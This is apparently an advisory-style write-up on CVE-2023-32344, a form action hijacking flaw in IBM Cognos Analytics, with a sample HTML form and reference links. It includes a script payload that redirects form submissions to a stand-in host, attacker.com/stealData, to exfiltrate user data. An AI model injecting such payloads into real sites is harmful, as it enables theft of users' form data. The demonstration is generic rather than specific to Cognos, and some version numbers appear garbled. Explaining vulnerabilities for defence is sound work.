CVE-2023-32344 - IBM Cognos Analytics Form Action Hijacking Vulnerability and Exploit Details

Here, we will discuss the vulnerability discovered in IBM Cognos Analytics 11.1.7, 11.2.4, and 12.., where form action hijacking is possible, allowing an attacker to modify the form action and reference an arbitrary path. This vulnerability has been assigned an IBM X-Force ID of 255898. We'll take a look at the vulnerability details, provide a code snippet to demonstrate the issue, and share links to original references.

Vulnerability Details

According to the CVE, IBM Cognos Analytics versions 11.1.7, 11.2.4, and 12.. are vulnerable to form action hijacking. This vulnerability allows an attacker to tamper with the form action and modify it to reference an arbitrary path that may lead to unauthorized access, data manipulation, or unintended execution of malicious payloads.

Exploit Details

An attacker can exploit this vulnerability by injecting a specially crafted payload into the form action during a user's session. With the ability to modify the form action, the attacker can then manipulate the form data and send it to an arbitrary external endpoint. This could potentially lead to unauthorized data exfiltration or execution of malicious code in a user's browser or server.

Code Snippet

To demonstrate this vulnerability, let's assume the presence of a form with the action "submitData" in the affected IBM Cognos Analytics application.

<form id="dataForm" action="/submitData" method="POST">
  <input type="text" id="name" name="name" value="">
  <input type="email" id="email" name="email" value="">
  <button type="submit">Submit</button>
</form>

Now, an attacker can modify the form action by injecting the following payload

<script>
  document.getElementById("dataForm").action = "https://attacker.com/stealData";;
</script>

After injecting this payload, when the user submits the form, the data will be sent to the attacker's server, https://attacker.com/stealData, instead of the intended "/submitData" endpoint.

References to Original Sources

1. IBM Security Bulletin: https://www.ibm.com/support/pages/node/6562366
2. IBM X-Force Vulnerability Database: https://exchange.xforce.ibmcloud.com/vulnerabilities/255898
3. CVE-2023-32344: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32344

Conclusion

CVE-2023-32344 highlights the importance of securing web applications against hijacking attacks. It demonstrates the potential impacts of form action hijacking, which may lead to unauthorized access and data manipulation. To protect your IBM Cognos Analytics application, it is essential to apply the provided patches and follow best practices for web application security.

Timeline

Published on: 02/26/2024 16:27:46 UTC
Last modified on: 02/26/2024 16:32:25 UTC